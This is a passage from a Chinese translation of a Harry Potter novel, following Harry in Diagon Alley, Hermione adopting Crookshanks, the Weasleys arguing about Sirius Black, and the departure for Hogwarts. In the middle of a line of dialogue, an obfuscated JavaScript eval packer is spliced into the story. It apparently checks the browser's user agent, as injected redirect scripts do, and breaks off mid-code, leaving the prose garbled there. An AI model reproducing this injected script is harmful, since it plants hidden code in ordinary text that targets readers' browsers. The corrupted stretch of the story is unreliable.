哈利把长长的夏日花在逛商店和在咖啡店外面色彩鲜艳的遮阳伞下吃东西上,与他同时进餐的人在那里彼此展览买到的东西(“这是一架望月镜,伙计——再不用摆弄月亮图表了,明白吗?”)或者讨论小天狼星布莱克案(“我个人认为,在他回到阿兹卡班以前,任何小孩都不能单独出门。”)。 哈利再也不用躲在被单下拿着手电筒做家庭作业了:现在他可以坐在弗洛林冷饮店外面的灿烂阳光下,完成他所有的论文,有时还能得到弗洛林本人的指导,弗洛林除了在中世纪焚烧女巫方面具有广泛的知识以外,还每隔半小时就免费供给哈利一杯冰淇淋。 哈利一旦又用金加隆、银西可和铜纳特把钱袋子填满以后,他就需要实行自我控制,以免把钱一下子花光。 他必须不断提醒自己:他还要在霍格沃茨过五年,而且,向德思礼家人要钱买魔法书会是什么滋味,这样他才能忍住不买一套漂亮的金高布石(魔法界的一种游戏,有点像弹子戏,在这种游戏中,谁丢了一分,那些小石子儿就会把发臭的液体喷射到他脸上)。 还有一种大玻璃球,里面是美妙的活动星座模型,有了它,就可以不必再上天文学课了,哈利也很想买。 但最使哈利动心的东西在他最喜爱的商店:魁地奇精品专卖店里。 这是他到了破釜酒吧一星期以后的事。 当时有许多人挤在那里看,哈利很好奇,于是便挤了进去。他挤在兴奋的女巫和男巫中问,直到他看到在一个新立的墩座上,有一把扫帚,那是他平生所见过的漂亮得令人吃惊的扫帚。 “刚刚问世...样品扫帚...”一个长着方下巴的男巫在告诉他的同伴。 “这是世界上最快的扫帚,是不是,爸爸?”一个比哈利小的男孩尖声问他的爸爸。这个男孩正吊在他爸爸的手臂上摇晃着。 “爱尔兰国际队刚刚订购了七把这样漂亮的扫帚!”店主对大家说,“这种产品是世界杯赛上的宠儿!” 哈利前面一个高大的女巫走开了,因此他得以读到这把扫帚旁边的说明:火弩箭 此类飞天扫帚代表目前最高工艺水平,其帚把系白蜡树木材精制而成,呈流线型,精美无比,经硬如钻石之擦光剂加以处理,并有手工镂刻之注册号码。本产品尾部的每一细枝皆经过筛选,务使其流线型臻于完美,故本产品在平衡与精确度方面无与伦比。火弩箭十秒之内加速可达每小时150英里,且其制动装置魅力无穷。价格面议。 价格面议...哈利不愿意去想这种火弩箭值多少钱。在他整个一生中,从来没有像现在这样渴望得到它——但是他骑着光轮2000,在魁地奇比赛中从来没有败过。他既然已经有了一把很好的扫帚,那他倾囊购买火弩箭有什么意义呢?哈利没有询问价格,但在这以后,他几乎每天都到那家店里去,为的是能看看那火弩箭。 然而,有些东西是哈利必须买的。他到药店去补充魔药所需的各种材料。而且,由于他的校服与四肢相比短了好几英寸,他去了摩金夫人长袍专卖店买了几件新袍子。 最重要的是,他必须购买新的教科书,这类书包括两门新课程,即保护神奇生物和占卜术。 哈利看了看书店的橱窗,不觉吓了一跳。书店橱窗里通常展示的是有地砖那么大、带金色浮雕的咒语书,现在这类书不见了,取而代之的是一个大铁笼子,里面装着约有一百本《妖怪们的妖怪书》 哈利从口袋里抽出书单,第一次加以查阅:《妖怪们的妖怪书》被列为保护神奇生物这门课程必备的书。 现在哈利懂得海格为什么说这本书他可能用得着了:这让他松了一口气。 他以前一直想不通,以为海格养了几个可怕的新宠物,需要帮助。 哈利走进这家书店,经理急忙迎上前来。 “霍格沃茨的吗?”他出其不意地问道,“是来买新书的吗?” “是的,”哈利说,“我需要——” “请让开一点儿。”经理不耐烦地说,把哈利推向一边。他戴上一副很厚的手套,拿起一根很粗的、满是节疤的手杖,走向那装有《妖怪们的妖怪书》的铁笼子。 “等一等,”哈利急忙说,“这本书我已经有了。” “已经有了吗?”经理的脸上马上露出大为宽慰的神色,“多谢老天了,今天早晨我已经被咬了五次了。” 忽然传来一阵响亮的撕扯声音:两本《妖怪们的妖怪书》抓住了第三本,合力将它撕散。 “住手!住手!”经理嚷道,把那根手杖从铁条之间伸了进去,把这几本书打开。“我再也不储存这些书了,永远不!简直闹得不可开交!我们以前进过两百本《隐形术的隐形书》,我还以为没有什么比它们更糟的了——那些书好贵啊,而且我们永远没有...好吧,你要别的什么书吗?” “要的,”哈利说,看着他的书单,“我需要一本卡桑德拉·瓦布拉斯基著的《拨开迷雾看未来》。” “啊,要开始学预言了,是不是?”经理说着就脱下了手套,把哈利领到书店的后半部去了。那里有一个角落,放的尽是占卜方面的书。一张小桌子上放了许多书,如《预言无法预见的事》《破碎的球:命运不济的时候》。 “这里就是,”经理说,他爬上梯子拿下一本黑色封面的厚书,“《拨开迷雾看未来》对你所有的基本占卜方法——看手相、水晶球、鸟类内脏...都能给出有用的指导。” 但哈利并没有听他说话。他的眼光落到了另外一本书上,那是放在小桌子上的一本书:(死亡预兆:当你知道最坏的事即将到来的时侯,你该怎么办?)。 “哦,我要是你,我可不看这样的书。”书店的店员看到哈利的目光落在那本书上,便轻松地说,“你看了这本书,就会看到死亡的预兆无处不在,这本书会吓死人的。” 但是哈利仍然瞪着那本书的封面:封面上有一条狗,差不多有熊那么大,两眼发光。 这条狗看上去出奇地眼熟...书店店员把《拨开迷雾看未来》这本书塞到了哈利手中。 “还要什么吗?”他说。 “要的,”哈利说,好不容易眼睛才离开了那条狗。昏头昏脑地检视他那张书单,“哦——我要《中级变形术》和《标准咒语·三级》。” 十分钟以后,哈利从书店里走了出来,腋下夹着新书,往破釜酒吧走去,几乎没有注意自己在往哪里去,一路上撞了好几个人。 他脚步沉重地上楼回到自己的房间,把新买的书都倒到床上。有人进房间打扫过了:窗子是开着的,阳光倾泻而进。 哈利可以听到,从他身后看不见的麻瓜街上传来的汽车声,也听得到对角巷中看不见的人群声。 他从洗手池上方的镜子里看到了自己。 “那不会是死亡的预兆,”他不顾一切地对镜中的自己说,“我在木兰花新月街看到它的时候,正在神魂不定呢。那可能只不过是一条迷路的狗罢了...” 他机械地举起了手,想抚平头发。 “你在打一场要失败的战争呢,亲爱的。”他的镜子气喘吁吁地说道。 日子一天天过去了,哈利开始到什么地方都盼望着能遇到罗恩或是赫敏。 现在,霍格沃茨学校的许多学生都到对角巷来了,因为不久就要开学了。哈利遇到过西莫·斐尼甘和迪安·托马斯,他们都是他在格兰芬多的同学,他们也在魁地奇精品专卖店,贪婪地盯着那把火弩箭看。 他还在书店外面碰到过真正的纳威·隆巴顿,一个圆脸、爱忘事的男孩。 哈利没有停下来和他闲谈:纳威似乎把他的书单不知搁在什么地方了,因而被他那位看上去很可怕的祖母数落了一番。哈利希望她永远不会发现他在逃离女贞路时,假冒过纳威的名字。 哈利在暑假的最后一天醒来,认为他至少第二天会在霍格沃茨特快专列上遇到罗恩和赫敏。他起床后,穿戴整齐,最后一次去看火弩箭。正在考虑上哪儿吃饭,这时,有人使劲叫他的名字,他回过头来。 “哈利!哈利!”他们在那里,两个人都在,坐在弗洛林冷饮店外面,罗恩看上去令人难以置信地奇特,赫敏晒得成了棕色,两人都在拼命向他招手。 “终于看见你了!”罗恩说,在哈利坐下来的时候对他咧嘴笑着,“我们到破釜酒吧去过了,但是他们说你已经走了,于是我们去了书店,去了摩金夫人那里,还——” “上周我已经买齐了学校需要的所有东西。”哈利解释说,“你们怎么知道我住在破釜酒吧的?” “我爸说的。”罗恩简短地说。韦斯莱先生在魔法部工作,当然会听到整个故事,知道玛姬姑妈的遭遇。 “你真的把你姑妈吹胀了吗,哈利?”赫敏问道,声调是很认真的。 “我不是有意要这样做的,”哈利说,这时罗恩笑得不可开交,“我只不过——一时失控罢了。” “这事没有什么好笑的,罗恩。”赫敏尖锐地说,“说实在的,哈利没被开除,我真感到奇怪。” “我也一样。”哈利承认说,“我忘记了开除的事,我原来以为我要被抓起来的。”他看了看罗恩,“你爸不知道福吉为什么放过我吧,他知道吗?” “很可能因为是你的缘故,不是吗?”罗恩耸耸肩膀,还在咯咯地笑着,“著名的哈利·波特啊什么的。要是我吹胀了我的姑妈,魔法部肯定不会放过我。听着,他们首先要把我挖出来,我妈会杀了我的。不管怎么样,今天晚上你自己可以问我爸。今天晚上我们也要在破釜酒吧过夜!所以你明天可以和我们一起到国王十字车站去!赫敏也在那里!” 赫敏点点头,满脸是笑:“今天早上,我爸和我妈就把我,还有我在霍格沃茨要用的全部东西都留在破釜酒吧了。” “太棒了!”哈利高兴地说,“那么,你的新书什么的都买齐了吗?” “看,”罗恩说,从书包里抽出一个细长的匣子,打开了,“崭新的魔杖,十四英寸长,柳条的,有一根独角兽的尾毛。而且我们把书都买齐了——”他指指自己椅子下面的一个大书包,“那些妖怪书怎么样,呃?我们说要两本的时候,那店员差一点没哭出来。” “那些东西是什么呀,赫敏?”哈利问道,指着她身旁椅子上不是一个而是三个鼓鼓囊囊的书包问道。 “噢,我不是选课比你们多吗?”赫敏说,“那些是算术占卜、保护神奇生物、占卜、古代魔文研究、麻瓜研究方面的书——” “你选麻瓜研究干吗?”罗恩说,一面对哈利转动着眼珠,“你已经很了解麻瓜了!” “但是,从魔法界的角度去研究他们,会很叫人入迷的。”赫敏真诚地说。 “你今年还打算吃饭睡觉吗,赫敏?”哈利问道,罗恩在一旁偷偷地笑。赫敏不理他们。 “我已经有了十个金加隆,”赫敏查看着她的钱包说,“我的生日在九月份,我妈和我爸给了我一些钱,让我给自己提前买生日礼物。” “买一本好书怎么样?”罗恩装傻问道。 “不,我不想买书,”赫敏平静地说,“我真的想要一只猫头鹰。我的意思是说,哈利有他的海德薇,你有埃罗尔——” “我可没有,”罗恩说,“埃罗尔是我们一家的。我有的只不过是斑斑罢了。” 他从口袋里掏出他的宠物小耗子来。“我想送它去检查一下,”他又说,一面把斑斑放在他们面前的桌子上,“我认为埃及不适合它。” 斑斑看上去比以前更瘦了,它的胡须明显地耷拉下来。 “那边就有一家神奇生物商店,”哈利说,现在他已经很熟悉对角巷了,“你可以看看在那里是不是可以给斑斑买点什么,赫敏也可以在那里买到猫头鹰。” 于是他们付了三份冰淇淋的钱,穿过大街,来到那家叫做神奇动物园的店铺。 里面没有多大空间。墙上每一英寸的地方都挂着笼子。店里又臭又闹,笼子里的小生物都在发出各种叫声。柜台后面的女巫正在告诉一位男巫如何照顾双尾蝾螈,因此哈利、罗恩和赫敏就等在一旁,一面看着那些笼子。 一对有着巨大眼睛的紫色蟾蜍坐在那里,不讨人喜欢地狼吞虎咽,正享用着一只死丽蝇。一只硬壳上有宝石镶饰的大乌龟在靠近窗子的地方炫耀。有毒的橘色蜗牛正从它们的玻璃箱的边缘慢慢地冒出来,一只肥胖的白兔子不断地变成一顶丝质的高顶礼帽以后又变回来,发出响亮的噗噗声。然后是各种颜色的猫、一笼吵吵闹闹的渡鸦、一篮子可笑的芥末色的软毛球大声哼哼着,柜台上有一个大笼子,里面是毛发柔滑的黑色耗子,正在用它们长长的秃尾巴玩着某种蹦跳游戏。 养双尾蝾螈的男巫走了,罗恩走近柜台。“这是我的耗子,”他对那女巫说。“自从我把它从埃及带回来以后,它就一直有点不大好。” “把它放到柜台上。”那女巫说,一面从她的口袋里掏出一副沉重的黑眼镜来。罗恩把斑斑从他里面的口袋里拿了出来,放在离它的同类耗子不远的地方。笼子里的耗子不玩蹦跳游戏了,纷纷挤到笼子边上,想看得清楚些。 斑斑就像罗恩占有的所有东西一样是旧货(他曾经属于罗恩的哥哥珀西),而且有一点伤痕累累的样子。和笼子里油光水滑的耗子相比,它看上去特别地愁眉苦脸。 “哼,”那女巫说,把斑斑拿了起来,“这只耗子多大年纪了?” “不知道,”罗恩说,“很老了。它原来是我哥哥的。” “它有什么能耐?”女巫说,仔细检查着斑斑。 “哦——”罗恩说。实际情况是斑斑从来就没有显示过一丁点儿让人感兴趣的能耐。 这位女巫的眼睛从斑斑被扯碎的耳朵上转到它的前爪上,那里少了一个趾头,女巫嘴里发出啧啧的声音。“它受过一番苦,这只耗子。”她说。 “珀西把它给我的时候,它就是这副模样。”罗恩为自己辩护说。 “像这样的普通家鼠或园鼠,你就别指望它能活过三年以上。”这位女巫说,“喏,如果你想寻找比较耐久的动物,你可能会喜欢这里面的一只...” 她指指那些黑耗子,它们马上又开始蹦跳起来。罗恩咕哝道:“爱表现的家伙。” “好吧,如果你不想换掉它,你可以试试这种药剂。”这位女巫说,伸手到柜台底下取出一个小红瓶子。 “好,”罗恩说,“多少钱——哎哟!” 一个姜黄色的巨大东西从最上面的笼子里跳了下来,跳到罗恩头上,然后蓄势向前,对着斑斑呼噜呼噜地怒叫着。 “别!克鲁克山,别!”女巫惊叫道,但是斑斑从她手里像一块肥皂似的滑脱了,四肢着地地落到地板上,然后向门边逃去。 “斑斑!”罗恩大叫,跟着它向店外飞跑,哈利紧跟在后面。 他们大概花了十分钟才找到了斑斑,它躲在魁地奇精品专卖店外面的废纸篓下面。罗恩把这只颤抖不已的小耗子仍旧放回他的口袋,然后直起身来,摸摸自己的头。 “那是什么?” “要么是一只很大的猫,要么是一只很小的虎。”哈利说。 “赫敏在哪里?” “很可能在买猫头鹰。” 他们又从那条拥挤的街上折了回去,仍旧回到神奇动物园。他们走到的时候,赫敏正好出来,但她拿的不是猫头鹰。她手里紧紧抱着的,是那只巨大的姜黄色的猫。 “你把这只怪物买下来了吗?”罗恩问,惊讶得嘴都合不拢。 “它的皮毛挺鲜艳的,不是吗?”赫敏笑嘻嘻地说。 这是一种看法,哈利想道。这只猫的姜黄色皮毛浓密而蓬松,但它的腿显然有点弯曲,它的脸看上去脾气粗暴,而且一副被压扁了的怪样子,好像它什么时候曾经一头冲到了墙上似的。斑斑已经不见了,这只猫也就在赫敏的怀抱里满意地打着呼噜。 “赫敏,这鬼东西差点儿抓下了我的头皮!”罗恩说。 “它不是有意的,你不是有意的吧,克鲁克山?” “那么斑斑怎么办?”罗恩说,指着他胸袋上那一块鼓起来的地方。“它需要休息和放松!有这东西在旁边,它怎么能休息放松啊?” “这倒提醒了我,你忘了你的耗子补药了。”赫敏说着,把那只小红瓶子塞到罗恩手里。“别担心,克鲁克山会睡在我的宿舍里,而斑斑在你那里。那还有什么问题?可怜的克鲁克山,那女巫说它在那里好久好久了,一直没人要它。” “我也不知道这是为什么。”罗恩讽刺地说,这时他们向着破釜酒吧出发了。 他们发现韦斯莱先生坐在酒吧间里,读着《预言家日报》。 “哈利!”他说,拾起头来微笑地看着他,“你好吗?” “好的,谢谢您。”哈利说,他、罗恩和赫敏三个人带着他们买来的东西和韦斯莱先生坐在一起。韦斯莱先生放下了报纸,哈利看到小天狼星布莱克那张熟悉的照片正瞪着他看。 “他们还没有抓到他吗?”他问道。 “没有。”韦斯莱先生说,看上去极其严肃的样子,“在部里,他们叫我们丢下手头的工作,想办法去找到他,不过到现在我们还没有这份运气。” “如果我们抓到了他,会给我们奖赏吗?”哈利问道。“能再拿到点钱是很好的——” “别胡说,哈利,”韦斯莱先生说。仔细看看他,就会发现他显得很紧张,“布莱克不会被一个十三岁的小男巫抓住的。把他抓回去的将是阿兹卡班的守卫,你记着我的话。” 这时,韦斯莱太太到酒吧间来了。手上拿着买来的许多东西,她后面跟着那对双胞胎,弗雷德和乔治,他们将在霍格沃茨开始他们第五年的学业,还有着那位新当选的男生学生会主席珀西,和韦斯莱家最小的孩子,也是他们家唯一的女儿,金妮。 金妮一直很喜欢哈利,她看到哈利,似乎比平时更加显得尴尬,也许这是因为他在霍格沃茨救过她的命。她满脸通红,咕哝着说了声“你好”,看都没看他。 然而,珀西却庄严地伸出手来,好像他和哈利从来没见过面似的。他说:“哈利,看见你真高兴。” “你好,珀西。”哈利说,忍着没笑出来。 “你过得不错吧?”珀西装腔作势地说,和他握手。那副样子,好像是被介绍给市长似的。 “很好,谢谢——” “哈利!”弗雷德说,用手肘把珀西推开,然后深深地鞠躬,“见到你真荣幸,老伙计——” “妙极了,”乔治说,把弗雷德推开,这可轮到他抓住哈利的手了,“绝对是绝妙的。” 珀西吼了一声。 “够了,喏。”韦斯莱先生说。 “妈妈!”弗雷德说,好像才发现了她似的,也抓住了她的手,“见到你真好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唔,因为我们部里就有两辆车啊,”韦斯莱先生说,“而且我在部里工作,他们这是照顾我...”他的声音是随随便便的,但是哈利不禁注意到韦斯莱先生的耳朵红了,就像罗恩感到有压力时那样。 “他们做得不错。”韦斯莱太太活泼地说,“你们知道大家一共有多少行李吗?到了麻瓜的火车站,那一大堆可真够瞧的——你们都打好行李了吗?” “罗恩还没有把他新买的东西都放到箱子里去呢,”珀西说,听上去像是受了很久的罪,“他把东西都倒在我床上了。” “你不如赶快去好好收拾,罗恩,因为我们明早不会有很多时间。”韦斯莱太太从餐桌远处对罗恩说。 罗恩狠狠瞪了一眼珀西。 晚饭以后,大家都觉得又饱又困。他们一个个上楼回房检查明天要带的东西。罗恩和珀西住哈利隔壁。哈利刚刚把自己的衣箱合上锁好,就听见隔壁传来恼怒的声音,他过去看看发生了什么事情。十二号房间的门开了一条缝,珀西正在大声叫喊。 “本来就在这儿,在床头柜上,我把它拿去擦擦亮——” “我碰也没有碰过,懂吗?”罗恩也对珀西大叫道。 “什么事啊?”哈利问道。 “我的男生学生会主席徽章不见了。”珀西转身对哈利说。 “斑斑的药也不见了,”罗恩说,把东西从衣箱里一件件地扔出来看,“我想我是不是把它落在酒吧间了——” “找到我的徽章以前,你哪儿也不许去!”珀西嚷道。 “我去找斑斑的药,我装好箱子了。”哈利对罗恩说,然后就下楼去了。 哈利在通往酒吧间的那条又窄又黑的过道里只走到一半,就听到小客厅里又传来两个人愤怒的声音。他立刻辨别出那是韦斯莱夫妇在说话。他踌躇了一下,不想让他们知道他听到他们吵嘴,但是他听到了自己的名字,于是他向小客厅又走近了一些。 “...不告诉他是没有任何意义的,”韦斯莱先生激动地说,“哈利有权知道。我曾经设法告诉福吉,可是他坚持要把哈利当小孩子看。哈利已经十三岁了,而且——” “亚瑟,真相会把他吓坏的!”韦斯莱太太尖声说,“难道你真想让哈利带着这样的精神负担回到学校吗?看在老天的份上。什么都不知道的时候,他是快乐的!” “我不是要让他感到悲惨,我想让他提防!”韦斯莱先生反驳道,“你知道哈利和罗恩是怎样的孩子,他们总是自己溜出去玩——他们已经有两次走到禁林里去了!但是哈利今年一定不能再这样了!那天晚上他从家里逃出来,路上什么事都可能发生,我想到这儿,心里就发毛!如果骑士公交车没有接到他,我敢打赌。在魔法部找到他以前,他早就死了。” “但是他没有死啊,他好好儿的,所以,有什么必要告——” “莫丽,他们说小天狼星布莱克疯了,他也许是疯了,但他聪明得足以从阿兹卡班逃脱,这件事常人是做不到的。现在已经三个星期了,大家连布莱克的一根头发也没有见到,我不管福吉一直对《预言家日报》说些什么,在捕获布莱克方面,我们的进展和发明自己会念咒语的魔杖差不多。我们唯一明确知道的事就是布莱克在追什么——” “但是哈利在霍格沃茨是绝对安全的。” “我们以前认为阿兹卡班是绝对安全的,但是如果布莱克能够从阿兹卡班逃出来,他就能冲进霍格沃茨。” “但是谁也不能肯定布莱克就是在追哈利——” 咚的一声响,哈利可以肯定,是韦斯莱先生用拳头捶了一下桌子。 “莫丽,我要告诉你多少遍啊?报上没有报道这一点,因为福吉不让,但是布莱克从阿兹卡班逃走的那天晚上,福吉到阿兹卡班去了。守卫告诉福吉,布莱克说梦话已经有一段时间了。总是说同样的话:‘他在霍格沃茨...他在霍格沃茨...’布莱克神经不正常了,莫丽,而且他要哈利死。如果你问我的话,他认为杀死哈利就可以让神秘人重新掌权。哈利阻止了神秘人的那天晚上,布莱克失去了一切,而且他已经在阿兹卡班单独待了十二年,有足够的时间去想这...” 一片静寂。哈利又向门靠近了一点儿,想多听到一些。 “好吧,亚瑟,你以为是正确的事情,你就坚持去做好了。但是你忘了阿不思·邓布利多了。我认为只要邓布利多在当霍格沃茨的校长,那就什么东西也伤害不了哈利。我想所有这些事他都知道吧?” “他当然知道。我们必须问他:阿兹卡班的守卫在学校周围的所有入口驻防,他介意不介意。他对这一点不太高兴,不过他同意了。” “不高兴?如果他们在那里抓到布莱克,他能不高兴吗?” “邓布利多不喜欢阿兹卡班的守卫。”韦斯莱先生沉重地说,“我也不喜欢。如果到了这一步...但是当你和布莱克这样的男巫打交道的时候,有的时候你不得不和你本来想避开的家伙联合起来。” “如果他们救了哈利——” “——那么我就再也不说一句反对他们的话了。”韦斯莱先生不耐烦地说,“不早了。莫丽,我们还是上楼去吧...” 哈利听见椅子拖动的声音。他尽量轻手轻脚地走完通往酒吧的过道,不让他们看见。 几秒钟以后,小客厅的门开了,脚步声告诉他,韦斯莱夫妇上了楼。 装耗子补药的那个瓶子躺在他们早先坐过的那张桌子下面。哈利等到他听见韦斯莱夫妇卧室的门关上了,才拿着瓶子又上了楼。 弗雷德和乔治正蹲在楼梯平台的阴暗处,听着珀西为了寻找那男生头儿的徽章,而把他和罗恩的卧室闹得天翻地覆,笑得喘不过气来。 “我们找到了徽章,”弗雷德对哈利耳语道,“我们已经把它改良了。 现在徽章上写的是“大头男孩”。 哈利勉强笑了一下,走去将耗子补药交给了罗恩,然后就把自己关在房间里,躺在了床上。 这么说,小天狼星布莱克是在找他。这就把什么都说清楚了。福吉对他那么宽大,因为发现他还活着,就大松了一口气。他已经让哈利保证待在对角巷不出去,对角巷有许多巫师,可以密切注视着他。明天他还会派魔法部的两辆车送他们大家到车站去,以便韦斯莱一家可以在哈利上火车以前照看他。 哈利躺在那里,听着隔壁房间闷闷地传来了大叫大喊的声音,心里不明白自己为什么没有更加害怕。小天狼星布莱克曾经用一句咒语就杀死了十三个人,韦斯莱夫妇显然认为,哈利如果知道事实真相,就会吓得要死。 但是,哈利正好完全同意韦斯莱太太的话,那就是,邓布利多先生在哪里,哪里就是世界上最安全的地方。 人们不是一直在说邓布利多先生是伏地魔唯一怕过的人吗?布莱克是伏地魔的左膀右臂,那他不是也肯定怕邓布利多先生吗?还有那些人一直在谈论的阿兹卡班守卫。他们似乎把所有的人都吓得手足无措,如果他们驻扎在学校周围,布莱克潜进学校的可能性就微乎其微了吧。 总而言之,最让哈利烦心的是,他访问霍格莫德的机会现在几乎为零了。在布莱克被捕以前,谁也不会让哈利离开那座安全的城堡;其实,哈利猜想,在危险过去以前,他的一举一动都会受到严密监视的。 他怒视着黑暗的天花板。人们以为他不会照顾自己吗?他已经从伏地魔手下逃脱了三次,他不是完全没用的人啊...木兰花新月街阴影里的那只野兽突然出现在他脑海里。 当你知道最坏的事即将到来的时候,你该怎么办? “我不会被人谋杀的。”哈利大声说。 “人就要有这点精神,亲爱的。”他的镜子睡意朦胧地说。 43. 摄魂怪 第二天早晨,汤姆和平常一样,用他那没有牙齿的微笑和一杯茶叫醒了哈利。哈利起身穿戴整齐,正在说服不高兴的海德薇回到笼子里去。这时,罗恩冲进了房间,一面还在往脑袋上套一件汗衫,看上去很恼怒的样子。 “我们越早上火车越好,”罗恩说,“至少,在霍格沃茨我可以不和珀西在一起。现在他在指责我,说我把茶滴在他的佩内洛的照片上了。你知道,”他做了个鬼脸,“他的女朋友。她已经把脸藏在相框下面了。因为她鼻子上尽是污渍...” “我有事要告诉你。”哈利开口说,但弗雷德和乔治进来打扰了他们。他们来看望一下,祝贺罗恩又让珀西发火了。 他们下楼去吃早饭,韦斯莱先生在那里读《预言家日报》的头版,双眉紧皱,韦斯莱太太正在告诉赫敏和金妮,她小时候制作过的一服药剂的事情。这三个人都在傻笑。 “你刚刚在说什么?”他们坐下来的时候,罗恩问哈利道。 “等一会儿再告诉你。”哈利咕哝道,这时珀西怒气冲冲地进来了。 在出发前的一片混乱中,哈利一直没有机会同罗恩或是赫敏说话:他们正忙得不可开交,将所有衣箱顺着破釜酒吧那狭窄的楼梯往下搬,再堆到大门旁边。海德薇被关进笼子里,安置在行李顶端。珀西那只叫声尖锐的猫头鹰赫梅斯,也同样被关在自己的笼子里,和海德薇并排放在一处。一只小小的柳条篮子置于这堆箱子旁,里面传出喧闹的呼噜声。 “没事儿,克鲁克山,”赫敏隔着那柳条篮子哄那只猫,“到了火车上我就放你出来。” “你可别放,”罗恩厉声说,“可怜的斑斑怎么办,啊?” 他指指他的胸膛,那里有一个大肿块,说明斑斑是躲在罗恩的衣袋里。 韦斯莱先生一直在外面等候魔法部的车子,现在把脑袋伸进来了。 “车来了。”他说,“哈利,来吧。” 韦斯莱先生强迫哈利穿过短短的一段人行道,走向第一辆车。这两辆车都是老式的深绿色汽车,开第一辆车的,是个身穿艳绿色天鹅绒西服、神色狡猾的男巫。 “上车,哈利。”韦斯莱先生说,一面对这条街道左右张望。 哈利走到汽车后部,赫敏和罗恩随即也上来了。让罗恩厌恶的是,珀西也上来了。 和哈利在骑士公共汽车上的经历相比,去国王十字车站的旅程平安无事。魔法部的车子看上去几乎是平平无奇的,但哈利注意到这两辆汽车都可以平滑通过地面上的裂缝,而弗农姨父公司的新车肯定是做不到的。 他们到了国王十字车站,这时离火车到来还有二十分钟。 魔法部的司机帮他们找到了推行李用的小车,卸下他们的箱子,对着韦斯莱先生把手放在帽檐上碰了一下,以示敬意,然后就开车离开了,不知怎么,还跳到了因为红灯受阻、一动不动的汽车队伍的最前面。 韦斯莱先生在进站以前一直紧跟着哈利。 “现在,”他环顾这些学生,“我们人这么多,所以,大家站成两人一组。我是第一个,哈利跟我在一起。” 韦斯莱先生推着哈利的行李车走向隔开9号和10号站台之间的栏杆,似乎对刚刚到达9号站台的市际125次列车很感兴趣。他意味深长地看了哈利一眼,随意地靠在栏杆上。哈利也学着他的样子。 一会儿,他们就穿过铁栏杆从侧面落到了9又3/4站台上。他们抬头看到了去霍格沃茨的特快专列,猩红色的蒸汽火车头向站台上方喷吐着烟雾,站台上满是送子女上火车的男巫和女巫。 珀西和金妮突然在哈利身后出现了。他们喘着气,似乎是跑了一气才越过栏杆的。 “啊,佩内洛来了!”珀西说,一面抹平头发,一面脸又红了起来。金妮遇到哈利的目光,两人都转过身去藏住笑容,这时珀西大步走向一个有着长长鬈发的女孩。珀西走路的时候挺着胸,让她一眼就能看见他那发亮的徽章。 韦斯莱家其他成员和赫敏也加入到了他们之中。这时,哈利和韦斯莱先生领头走到火车末端,走过满员的一节节车厢,到了一节看上去很空的车厢前。他们把箱子都放了上去,又把海德薇和克鲁克山放在行李架上。然后下了火车,和韦斯莱夫妇告别。 韦斯莱太太吻别了她的每一个孩子,然后是赫敏,最后是哈利。她特别拥抱了哈利一下,哈利感到很尴尬,但心里实在很高兴。 “一定要小心啊,哈利。”她直起身子的时候说,她的眼睛奇异地明亮。然后她打开她那巨大的手提袋说:“我给你们都做了三明治。这是你的,罗恩...不。这不是咸牛肉的...弗雷德?弗雷德哪里去了?在这里,亲爱的...” “哈利,”韦斯莱先生安静地说,“到这里来一下。” 他把脑袋向一根柱子那边一扬,哈利就跟着他走到了这根柱子后面,丢下其他人围着韦斯莱太太。 “在你离开以前,有些事我必须告诉你——”韦斯莱先生紧张地说。 “好啦,韦斯莱先生,”哈利说,“我已经知道了。” “你知道了?你怎么会知道的?” “我——哦——昨天晚上我听到您和韦斯莱太太的谈话。我忍不住听了,”哈利迅速地加上了一句,“对不起——” “这可不是我想让你知道的方式。”韦斯莱先生说,看上去有些焦急。“不是的——老实说,没事。这样,你没有破坏你给福吉的诺言,而我也知道了在发生什么事情。” “哈利,你一定吓得要命了——” “没有,”哈利真诚地说,“真的。”他加了一句,因为韦斯莱先生似乎不相信。 “我不是努力要做英雄,不过说正经的,小天狼星布莱克不会比伏地魔更狠毒吧,会吗?” 韦斯莱先生听到这个名字,畏缩了一下,但随即克服了这种情绪。“哈利,我知道你是,唔,比福吉想的要坚强,你没害怕,我感到高兴,不过——” “亚瑟!”韦斯莱太太叫道,现在她正在照顾这些人上火车,“亚瑟,你在干吗?该走了!” “他就来了,莫丽!”韦斯莱先生说。但他又转向哈利,用更加急促的低声说道:“听着,我要你保证——” “ ——保证我听话,一直待在城堡里面?”哈利阴郁地说。 “不完全是。”韦斯莱先生说,看上去比哈利见过他的任何时候都要严肃,“哈利,向我发誓你不会去找布莱克。” 哈利瞪眼,“什么?” 一声很响的哨子吹起。铁路工作人员沿着火车走过,把所有的车门都关上了。 “答应我,哈利,”韦斯莱先生说,说话更快了,“不管发生什么事——” “我为什么会去找我明知道要杀我的人呢?”哈利茫然问道。 “向我发誓不管你可能听到什么——” “亚瑟,快!”韦斯莱太太叫道。 火车喷着蒸气,开始移动。哈利跑到车厢门边,罗恩把门打开,自己让在一边,让哈利上车。他们俯身探出窗外,向韦斯莱夫妇挥手,直到火车拐过弯去,看不见他们为止。 “我需要和你们私下谈谈。”哈利对罗恩和赫敏咕哝说,这时火车已经加速行驶。 “走开。金妮。”罗恩说。 “哦,这倒不错。”金妮傲慢地说,走开了。 哈利、罗恩和赫敏沿着走廊,寻找空的车厢,但是所有车厢都是满的,只有最末的车厢不是。 这节车厢里只有一个人,这人临窗坐着,正在熟睡。哈利、罗恩和赫敏在门槛上停住了脚步。霍格沃茨特快专列通常是学生坐的,他们在这里还从来没有见过成年人,除了那位为他们推食品车的女巫以外。 这个陌生人穿着一件极其破旧的男巫长袍,好几个地方打着补丁。他面带病容,而且疲惫不堪。他看起来还很年轻,但淡棕色的头发已经夹杂着白发了。 “你们认为他是谁?”罗恩尖声问道。他们坐了下来,把门关上了,他们坐得尽量离车窗远一些。 “R.J.卢平教授。”赫敏立即悄声说。 “你怎么知道的?” “他的箱子上不是写着嘛。”赫敏回答道,指着那人头上的行李架,那里有一个破旧的小箱子,用许多绳子捆着,整齐地打着结。“R.J.卢平教授”这几个字印在箱子一角,字母已经剥落了。 “不知道他教什么?”罗恩说,对卢平教授了无生气的侧影皱着眉头。 